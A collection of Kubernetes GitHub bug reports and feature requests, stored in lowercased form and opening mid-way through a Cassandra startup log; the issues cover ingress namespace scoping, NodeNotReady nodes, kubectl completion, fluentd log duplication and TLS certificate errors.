9/lib/libthrift-0.9.2.jar:/usr/local/apache-cassandra-3.9/lib/log4j-over-slf4j-1.7.7.jar:/usr/local/apache-cassandra-3.9/lib/logback-classic-1.1.3.jar:/usr/local/apache-cassandra-3.9/lib/logback-core-1.1.3.jar:/usr/local/apache-cassandra-3.9/lib/lz4-1.3.0.jar:/usr/local/apache-cassandra-3.9/lib/metrics-core-3.1.0.jar:/usr/local/apache-cassandra-3.9/lib/metrics-jvm-3.1.0.jar:/usr/local/apache-cassandra-3.9/lib/metrics-logback-3.1.0.jar:/usr/local/apache-cassandra-3.9/lib/netty-all-4.0.39.final.jar:/usr/local/apache-cassandra-3.9/lib/ohc-core-0.4.3.jar:/usr/local/apache-cassandra-3.9/lib/ohc-core-j8-0.4.3.jar:/usr/local/apache-cassandra-3.9/lib/primitive-1.0.jar:/usr/local/apache-cassandra-3.9/lib/reporter-config-base-3.0.0.jar:/usr/local/apache-cassandra-3.9/lib/reporter-config3-3.0.0.jar:/usr/local/apache-cassandra-3.9/lib/sigar-1.6.4.jar:/usr/local/apache-cassandra-3.9/lib/slf4j-api-1.7.7.jar:/usr/local/apache-cassandra-3.9/lib/snakeyaml-1.11.jar:/usr/local/apache-cassandra-3.9/lib/snappy-java-1.1.1.7.jar:/usr/local/apache-cassandra-3.9/lib/snowball-stemmer-1.3.0.581.1.jar:/usr/local/apache-cassandra-3.9/lib/stream-2.5.2.jar:/usr/local/apache-cassandra-3.9/lib/thrift-server-0.3.7.jar:/usr/local/apache-cassandra-3.9/lib/jsr223/ / .jar:/usr/local/apache-cassandra-3.9/lib/jamm-0.3.0.jar\r info  18:12:41 jvm arguments:  -xloggc:/usr/local/apache-cassandra-3.9/logs/gc.log, -ea, -xx:+usethreadpriorities, -xx:threadprioritypolicy=42, -xx:+heapdumponoutofmemoryerror, -xss256k, -xx:stringtablesize=1000003, -xx:+alwayspretouch, -xx:-usebiasedlocking, -xx:+usetlab, -xx:+resizetlab, -xx:+perfdisablesharedmem, -djava.net.preferipv4stack=true, -xx:+useg1gc, -xx:g1rsetupdatingpausetimepercent=5, -xx:+printgcdetails, -xx:+printgcdatestamps, -xx:+printheapatgc, -xx:+printtenuringdistribution, -xx:+printgcapplicationstoppedtime, -xx:+printpromotionfailure, -xx:+usegclogfilerotation, -xx:numberofgclogfiles=10, -xx:gclogfilesize=10m, -dcassandra.migration_task_wait_in_seconds=1, -dcassandra.ring_delay_ms=30000, -xms512m, -xmx512m, -xx:compilecommandfile=/etc/cassandra/hotspot_compiler, -javaagent:/usr/local/apache-cassandra-3.9/lib/jamm-0.3.0.jar, -dcassandra.jmx.local.port=7199, -dcom.sun.management.jmxremote.authenticate=false, -dcom.sun.management.jmxremote.password.file=/etc/cassandra/jmxremote.password, -djava.library.path=/usr/local/apache-cassandra-3.9/lib/sigar-bin, -djava.rmi.server.hostname=172.16.102.2, -dcassandra.libjemalloc=/usr/lib/x86_64-linux-gnu/libjemalloc.so.1, -dlogback.configurationfile=logback.xml, -dcassandra.logdir=/usr/local/apache-cassandra-3.9/logs, -dcassandra.storagedir=/usr/local/apache-cassandra-3.9/data, -dcassandra-foreground=yes \r info  18:12:41 overriding ring_delay to 30000ms\r warn  18:12:42 unable to lock jvm memory  enomem . this can result in part of the jvm being swapped out, especially with mmapped i/o enabled. increase rlimit_memlock or run cassandra as root.\r info  18:12:42 jemalloc seems to be preloaded from /usr/lib/x86_64-linux-gnu/libjemalloc.so.1\r warn  18:12:42 jmx is not enabled to receive remote connections. please see cassandra-env.sh for more info.\r warn  18:12:42 openjdk is not recommended. please upgrade to the newest oracle java release\r info  18:12:42 initializing sigar library\r info  18:12:42 checked os settings and found them configured for optimal performance.\r warn  18:12:42 directory /cassandra_data/data doesn't exist\r warn  18:12:42 directory /cassandra_data/commitlog doesn't exist\r warn  18:12:42 directory /cassandra_data/saved_caches doesn't exist\r warn  18:12:42 directory /cassandra_data/hints doesn't exist\r info  18:12:42 initialized prepared statement caches with 10 mb  native  and 10 mb  thrift \r info  18:12:44 initializing system.indexinfo\r info  18:12:46 initializing system.batches\r info  18:12:46 initializing system.paxos\r info  18:12:46 initializing system.local\r info  18:12:46 initializing system.peers\r info  18:12:46 initializing system.peer_events\r info  18:12:46 initializing system.range_xfers\r info  18:12:46 initializing system.compaction_history\r info  18:12:46 initializing system.sstable_activity\r info  18:12:46 initializing system.size_estimates\r info  18:12:46 initializing system.available_ranges\r info  18:12:46 initializing system.views_builds_in_progress\r info  18:12:46 initializing system.built_views\r info  18:12:46 initializing system.hints\r info  18:12:46 initializing system.batchlog\r info  18:12:46 initializing system.schema_keyspaces\r info  18:12:46 initializing system.schema_columnfamilies\r info  18:12:46 initializing system.schema_columns\r info  18:12:46 initializing system.schema_triggers\r info  18:12:46 initializing system.schema_usertypes\r info  18:12:46 initializing system.schema_functions\r info  18:12:47 initializing system.schema_aggregates\r info  18:12:47 not submitting build tasks for views in keyspace system as storage service is not initialized\r info  18:12:47 configured jmx server at: service:jmx:rmi://127.0.0.1/jndi/rmi://127.0.0.1:7199/jmxrmi\r info  18:12:48 initializing key cache with capacity of 25 mbs.\r info  18:12:49 initializing row cache with capacity of 0 mbs\r info  18:12:49 initializing counter cache with capacity of 12 mbs\r info  18:12:49 scheduling counter cache save to every 7200 seconds  going to save all keys .\r info  18:12:49 global buffer pool is enabled, when pool is exhausted  max is 128.000mib  it will allocate on heap\r info  18:12:49 populating token metadata from system tables\r info  18:12:50 token metadata:\r info  18:12:50 initializing system_schema.keyspaces\r info  18:12:50 initializing system_schema.tables\r info  18:12:50 initializing system_schema.columns\r info  18:12:50 initializing system_schema.triggers\r info  18:12:50 initializing system_schema.dropped_columns\r info  18:12:50 initializing system_schema.views\r info  18:12:50 initializing system_schema.types\r info  18:12:50 initializing system_schema.functions\r info  18:12:50 initializing system_schema.aggregates\r info  18:12:50 initializing system_schema.indexes\r info  18:12:50 not submitting build tasks for views in keyspace system_schema as storage service is not initialized\r info  18:12:50 completed loading  68 ms; 1 keys  keycache cache\r info  18:12:50 no commitlog files found; skipping replay\r info  18:12:50 populating token metadata from system tables\r info  18:12:50 token metadata:\r info  18:12:50 cassandra version: 3.9\r info  18:12:50 thrift api version: 20.1.0\r info  18:12:50 cql supported versions: 3.4.2  default: 3.4.2 \r info  18:12:50 initializing index summary manager with a memory pool size of 25 mb and a resize interval of 60 minutes\r info  18:12:50 starting messaging service on /172.16.102.2:7000  eth0 \r warn  18:12:50 no host id found, created a6e85cc3-f7a1-4b7e-afd9-2352f0de6a38  note: this should happen exactly once per node .\r info  18:12:51 loading persisted ring state\r info  18:12:51 starting up server gossip\r info  18:12:51 generated random tokens. tokens are  7461238352195384341, 703866793857043985, -1405596516281645679, 670925857071261138, -5253042291739054906, -4444428286483265937, -269887071939854340, -7823807090388876115, 987627774737185619, 6057766027956629275, 1887006831583899466, -250996208193159947, 294061612142127870, -4770226561179617893, -7653756414547142032, -5416177478912811297, 4927510591766139454, 5194790881272062749, 2240497571665233964, 2914784730967032536, 1391638874622267246, -5426217298021758889, 3102819587468046259, 8569197962577993928, -7909426934535253880, 9034505907439901197, -3566399549714650671, 94882294695916998, 2942025429347269506, -297680154777380387, 4654454918268605509, 3340703979162639688 \r info  18:12:51 create new keyspace: keyspacemetadata{name=system_traces, params=keyspaceparams{durable_writes=true, replication=replicationparams{class=org.apache.cassandra.locator.simplestrategy, replication_factor=2}}, tables= org.apache.cassandra.config.cfmetadata@8b3926c cfid=c5e99f16-8677-3914-b17e-960613512345,ksname=system_traces,cfname=sessions,flags= compound ,params=tableparams{comment=tracing sessions, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=0, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator  ,partitioncolumns=    |  client command coordinator duration request started_at parameters  ,partitionkeycolumns= session_id ,clusteringcolumns=  ,keyvalidator=org.apache.cassandra.db.marshal.uuidtype,columnmetadata= client, command, session_id, coordinator, request, started_at, duration, parameters ,droppedcolumns={},triggers=  ,indexes=   , org.apache.cassandra.config.cfmetadata@188b6eda cfid=8826e8e9-e16a-3728-8753-3bc1fc713c25,ksname=system_traces,cfname=events,flags= compound ,params=tableparams{comment=tracing events, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=0, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator org.apache.cassandra.db.marshal.timeuuidtype ,partitioncolumns=    |  activity source source_elapsed thread  ,partitionkeycolumns= session_id ,clusteringcolumns= event_id ,keyvalidator=org.apache.cassandra.db.marshal.uuidtype,columnmetadata= activity, session_id, thread, event_id, source, source_elapsed ,droppedcolumns={},triggers=  ,indexes=    , views=  , functions=  , types=  }\r info  18:12:51 not submitting build tasks for views in keyspace system_traces as storage service is not initialized\r info  18:12:51 initializing system_traces.events\r info  18:12:51 initializing system_traces.sessions\r info  18:12:52 create new keyspace: keyspacemetadata{name=system_distributed, params=keyspaceparams{durable_writes=true, replication=replicationparams{class=org.apache.cassandra.locator.simplestrategy, replication_factor=3}}, tables= org.apache.cassandra.config.cfmetadata@4a4e573e cfid=759fffad-624b-3181-80ee-fa9a52d1f627,ksname=system_distributed,cfname=repair_history,flags= compound ,params=tableparams{comment=repair history, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=0, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator org.apache.cassandra.db.marshal.timeuuidtype ,partitioncolumns=    |  coordinator exception_message exception_stacktrace finished_at parent_id range_begin range_end started_at status participants  ,partitionkeycolumns= keyspace_name, columnfamily_name ,clusteringcolumns= id ,keyvalidator=org.apache.cassandra.db.marshal.compositetype org.apache.cassandra.db.marshal.utf8type,org.apache.cassandra.db.marshal.utf8type ,columnmetadata= status, id, coordinator, finished_at, participants, exception_stacktrace, parent_id, range_end, range_begin, exception_message, keyspace_name, started_at, columnfamily_name ,droppedcolumns={},triggers=  ,indexes=   , org.apache.cassandra.config.cfmetadata@6af05a4e cfid=deabd734-b99d-3b9c-92e5-fd92eb5abf14,ksname=system_distributed,cfname=parent_repair_history,flags= compound ,params=tableparams{comment=repair history, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=0, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator  ,partitioncolumns=    |  exception_message exception_stacktrace finished_at keyspace_name started_at columnfamily_names options requested_ranges successful_ranges  ,partitionkeycolumns= parent_id ,clusteringcolumns=  ,keyvalidator=org.apache.cassandra.db.marshal.timeuuidtype,columnmetadata= requested_ranges, exception_message, keyspace_name, successful_ranges, started_at, finished_at, options, exception_stacktrace, parent_id, columnfamily_names ,droppedcolumns={},triggers=  ,indexes=   , org.apache.cassandra.config.cfmetadata@7a7f5f0a cfid=5582b59f-8e4e-35e1-b913-3acada51eb04,ksname=system_distributed,cfname=view_build_status,flags= compound ,params=tableparams{comment=materialized view build status, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=0, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator org.apache.cassandra.db.marshal.uuidtype ,partitioncolumns=    |  status  ,partitionkeycolumns= keyspace_name, view_name ,clusteringcolumns= host_id ,keyvalidator=org.apache.cassandra.db.marshal.compositetype org.apache.cassandra.db.marshal.utf8type,org.apache.cassandra.db.marshal.utf8type ,columnmetadata= status, keyspace_name, view_name, host_id ,droppedcolumns={},triggers=  ,indexes=    , views=  , functions=  , types=  }\r info  18:12:52 not submitting build tasks for views in keyspace system_distributed as storage service is not initialized\r info  18:12:52 initializing system_distributed.parent_repair_history\r info  18:12:52 initializing system_distributed.repair_history\r info  18:12:52 initializing system_distributed.view_build_status\r info  18:12:52 node /172.16.102.2 state jump to normal\r info  18:12:52 create new keyspace: keyspacemetadata{name=system_auth, params=keyspaceparams{durable_writes=true, replication=replicationparams{class=org.apache.cassandra.locator.simplestrategy, replication_factor=1}}, tables= org.apache.cassandra.config.cfmetadata@262cdda6 cfid=5bc52802-de25-35ed-aeab-188eecebb090,ksname=system_auth,cfname=roles,flags= compound ,params=tableparams{comment=role definitions, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=7776000, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator  ,partitioncolumns=    |  can_login is_superuser salted_hash member_of  ,partitionkeycolumns= role ,clusteringcolumns=  ,keyvalidator=org.apache.cassandra.db.marshal.utf8type,columnmetadata= role, salted_hash, member_of, can_login, is_superuser ,droppedcolumns={},triggers=  ,indexes=   , org.apache.cassandra.config.cfmetadata@2556a6f3 cfid=0ecdaa87-f8fb-3e60-88d1-74fb36fe5c0d,ksname=system_auth,cfname=role_members,flags= compound ,params=tableparams{comment=role memberships lookup table, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=7776000, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator org.apache.cassandra.db.marshal.utf8type ,partitioncolumns=    |    ,partitionkeycolumns= role ,clusteringcolumns= member ,keyvalidator=org.apache.cassandra.db.marshal.utf8type,columnmetadata= role, member ,droppedcolumns={},triggers=  ,indexes=   , org.apache.cassandra.config.cfmetadata@26d32b38 cfid=3afbe79f-2194-31a7-add7-f5ab90d8ec9c,ksname=system_auth,cfname=role_permissions,flags= compound ,params=tableparams{comment=permissions granted to db roles, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=7776000, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator org.apache.cassandra.db.marshal.utf8type ,partitioncolumns=    |  permissions  ,partitionkeycolumns= role ,clusteringcolumns= resource ,keyvalidator=org.apache.cassandra.db.marshal.utf8type,columnmetadata= resource, role, permissions ,droppedcolumns={},triggers=  ,indexes=   , org.apache.cassandra.config.cfmetadata@60270e05 cfid=5f2fbdad-91f1-3946-bd25-d5da3a5c35ec,ksname=system_auth,cfname=resource_role_permissons_index,flags= compound ,params=tableparams{comment=index of db roles with permissions granted on a resource, read_repair_chance=0.0, dclocal_read_repair_chance=0.0, bloom_filter_fp_chance=0.01, crc_check_chance=1.0, gc_grace_seconds=7776000, default_time_to_live=0, memtable_flush_period_in_ms=3600000, min_index_interval=128, max_index_interval=2048, speculative_retry=99percentile, caching={'keys' : 'all', 'rows_per_partition' : 'none'}, compaction=compactionparams{class=org.apache.cassandra.db.compaction.sizetieredcompactionstrategy, options={min_threshold=4, max_threshold=32}}, compression=org.apache.cassandra.schema.compressionparams@ee7ab1f4, extensions={}, cdc=false},comparator=comparator org.apache.cassandra.db.marshal.utf8type ,partitioncolumns=    |    ,partitionkeycolumns= resource ,clusteringcolumns= role ,keyvalidator=org.apache.cassandra.db.marshal.utf8type,columnmetadata= resource, role ,droppedcolumns={},triggers=  ,indexes=    , views=  , functions=  , types=  }\r info  18:12:53 not submitting build tasks for views in keyspace system_auth as storage service is not initialized\r info  18:12:53 initializing system_auth.resource_role_permissons_index\r info  18:12:53 initializing system_auth.role_members\r info  18:12:53 initializing system_auth.role_permissions\r info  18:12:53 initializing system_auth.roles\r info  18:12:53 waiting for gossip to settle before accepting client requests...\r session terminated, terminating shell...% \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t05:56:06z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  :  linux ip-10-1-0-29 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others: deployed using helm\r

is this a bug report or feature request?  :\r  \r   what happened  :\r https://bugzilla.redhat.com/show_bug.cgi?id=1509309\r \r a limitrange added to a namespace after it has pods can prevent terminating pods from being deleted if they do not conform to the min/max criteria.\r \r   what you expected to happen  :\r limitrange should ignore pods that are marked for deletion as they really cannot change their resource requirements.

 \r   what happened  :\r i am using kubernetes on aws  i installed it with kops . i am able to create deployments, services, etc. i have 2 namespace env-staging and env-live. in both namespace there is a service called registry with different details. i installed 2 ingress controllers with\r \r    \r helm install --namespace env-staging --name nginx-ingress-staging stable/nginx-ingress\r helm install --namespace env-live --name nginx-ingress-live stable/nginx-ingress\r    \r and i defined 2 ingress resources in each namespace\r \r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: ingress-resource\r   namespace: env-staging\r   annotations:\r     kubernetes.io/ingress.class: nginx\r     nginx.ingress.kubernetes.io/ssl-redirect: \ false\ \r spec:\r   rules:\r   - http:\r       paths:\r       - path: /registry\r         backend:\r           servicename: registry\r           serviceport: 8080\r    \r \r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: ingress-resource\r   namespace: env-live\r   annotations:\r     kubernetes.io/ingress.class: nginx\r     nginx.ingress.kubernetes.io/ssl-redirect: \ false\ \r spec:\r   rules:\r   - http:\r       paths:\r       - path: /registry\r         backend:\r           servicename: registry\r           serviceport: 8080\r    \r \r aws creates automatically 2 load balancers  under ec2 services  with different ip addresses. when i try to access one load balancer http://<balancer_a_address>/registry i see the details from the registry deployed in one of the two namespaces. when i hit the second balancer http://<balancer_b_address>/registry i see the same service. it is like 2 the two ingress controllers  corresponding to the 2 load balancers  can go cross-namespace, without limiting the scope to the namespace they are living in.\r \r   what you expected to happen  :\r i expected that each ingress controller is able to manage just the ingress resources in its own namespace, without \ crossing the boundaries\  between the namespaces.\r \r   anything else we need to know?  :\r i know that there are other discussions  17088 but at the moment this behaviour does not seem right to me. \r \r by the way i tried something more complex, putting 2 different entries on route 53 to address the two load balancer on aws but changing the ingress resource putting there the host label, right before the http part. this thing worked  the host is used against the host header of the request  but i simply do not understand if this is currently a bug or is the attended behaviour  but it really sounds strange to me, 2 controllers deployed on different namespaces that mix 2 ingress resource each on a separate namespace .\r \r   environment  :\r - kubernetes version  use  kubectl version  : version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: aws  kops installation one master 3 nodes \r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : linux ip-172-20-41-108 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux\r - install tools: kops\r - others:\r

this works:\r    \r me@machine:~$ kubectl --namespace=flagc logs <tab>\r flagc-1155815751-mlm4s  kubeonoff-659183069-lc9k3    \r    \r \r this doesn't:\r    \r me@machine:~$ kubectl -n flagc logs <tab>\r auth_group.bak                      .lesshst\r auth_group_permissions.bak          monitor/\r auth_permission.bak                 notice.bak\r auth_user.bak                       .profile\r    \r \r strangely, this works in both cases:\r    \r me@machine:~$ kubectl -c k1 -n flag <tab>\r flagc    flag-m\r    \r \r    \r me@machine:~$ kubectl --context=k1 -n flag <tab>\r flagc    flag-m\r    \r \r didn't investigate other flags.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  @kubernetes/sig-node-bugs\r  \r   what happened  :\r \r hi! each time, after a few hours, one of my node  randomly  goes in the status \ nodenotready\ ... without doing anything! moreover the pods of this node either go in pending state or they have errors like  depending of the tool :\r \r \ liveness probe failed: get http://100.96.11.54:9090/-/healthy: net/http: request canceled  client.timeout exceeded while awaiting headers \ \r \r \ readiness probe failed: rpc error: code = 13 desc = transport is closing\ \r \r \ readiness probe failed: error: fail on inspecting path /health: file /health is too old\ \r \r that's recurrent... 2 times per day i think.\r \r   what you expected to happen  :\r \r that my cluster works correctly since nodes are not overloaded. i have the cluster-autoscaler to be sure of that... and i do not make any settings change 😄 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r sincerely, i don't know...\r \r   anything else we need to know?  :\r \r here is the 2 events that kubernetes relates to the failing node:\r \r ! image  https://user-images.githubusercontent.com/8195958/41026367-3858fb9c-6929-11e8-91d2-6f0c8a283021.png \r \r and about consumption:\r    \r conditions:\r   type                 status    lastheartbeattime                 lasttransitiontime                reason                     message\r   ----                 ------    -----------------                 ------------------                ------                     -------\r   networkunavailable   false     sun, 03 jun 2018 01:39:30 -0700   sun, 03 jun 2018 01:39:30 -0700   routecreated               routecontroller created a route\r   outofdisk            false     wed, 06 jun 2018 00:42:03 -0700   sun, 03 jun 2018 01:39:20 -0700   kubelethassufficientdisk   kubelet has sufficient disk space available\r   memorypressure       unknown   wed, 06 jun 2018 00:42:03 -0700   wed, 06 jun 2018 00:42:55 -0700   nodestatusunknown          kubelet stopped posting node status.\r   diskpressure         unknown   wed, 06 jun 2018 00:42:05 -0700   wed, 06 jun 2018 00:42:55 -0700   nodestatusunknown          kubelet stopped posting node status.\r   ready                unknown   wed, 06 jun 2018 00:42:05 -0700   wed, 06 jun 2018 00:42:55 -0700   nodestatusunknown          kubelet stopped posting node status.\r    \r \r your help would be really valuable for me 👍 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gce\r

fluentd in the fluentd-elasticsearch addon is configured to collect container logs from /var/log/containers and logs for specific k8s components from /var/log.\r installing the addon on a cluster created using kops, it seems logs for k8s components which run as pods  kube-apiserver, kube-scheduler, kube-proxy etc  are collected twice, once from /var/log/containers and once from the respective log in /var/log  kube-proxy.log for example .\r \r i'm not sure whether it's something specific to kops or not, and whether it's relevant for the fluentd-gce addon as well. if it's kops only, it may be a non-issue or simply worth a notice on the addon page. if not, alternatives should probably be considered.\r \r 

looking at https://github.com/kubernetes/kubernetes/blob/master/changelog-1.12.md external-dependencies\r \r - etcd should be 3.2.24   https://github.com/kubernetes/kubernetes/pulls?utf8=%e2%9c%93&q=is%3apr+etcd+3.2.24+is%3amerged   \r - docker should be 18.06   https://github.com/kubernetes/kubernetes/pulls?utf8=%e2%9c%93&q=is%3apr+docker+18.06+is%3amerged  \r \r we should checkout the rest of them as well.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r i'd like to ask to add a legend to the  table  https://kubernetes.io/docs/concepts/storage/persistent-volumes/ access-modes  listing the supported storage drivers and access modes.\r   why is this needed  :\r it's not clear how to read the current legend  e.g. supported/not-supported, recommended/not-recommended,...? . came to the surface while having a dispute in the team how this table should be understood.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r add more  scheduler metrics  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/metrics/metrics.go  to count the number of pods scheduled and the number of pending pods in the scheduling queue.\r \r   why is this needed  :\r these metrics are helpful to debug scheduler and find about its health. it also provides insight to users about their cluster status.\r \r 

https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-windows-gce/1124330363452133383/artifacts/e2e-3e2da0347d-36623-windows-node-group-sv9r/kubelet.log\r \r the log file  kubelet.log  contains the flags and nothing else. this is a regression on the master branch since 1.14 works fine.\r \r /cc @pjh @mtaufen

the docker private registry is still not fully flushed out and many organizations do not want to upload their images to the global docker hub.  for these scenarios, finding a solution to push down a tarball file and letting the minions import it into their local repository and running it is a more optimal choice.  can we add this support?

hi,  i tried to bring up a new cluster on my aws account but the cluster never seem to finish initialization properly.  i ssh'd into the master instance and tail'd the logs of the api server and saw a repeating error message:      i0731 11:36:59.365908       6 logs.go:41  http: tls handshake error from 172.20.0.87:35002: remote error: bad certificate      also, trying to run kubectl.sh cluster-info from the machine that i ran kube-up from returns the following error:      unable to connect to the server: x509: certificate signed by unknown authority      any advice on how to solve this?

hello guys, i'm using deis to manage k8s cluster, which will create a namespace for each application, even though they are created by a single user. i want to limit resouces used by user, but k8s's limitation is namespace-scoped. is there any possibility that i can limit sum of resources used by multiple namespaces?   can i implement my hook or interceptor to manage resource request event or something?  thank you very much.

we need to gracefully handle the case when a deployment specifies an absolute value of maxunavailable larger than its spec.replicas. i don't think we want to add validation for this, simply collapsing maxunavailable to spec.replicas would suffice.\r \r @kubernetes/sig-apps-misc

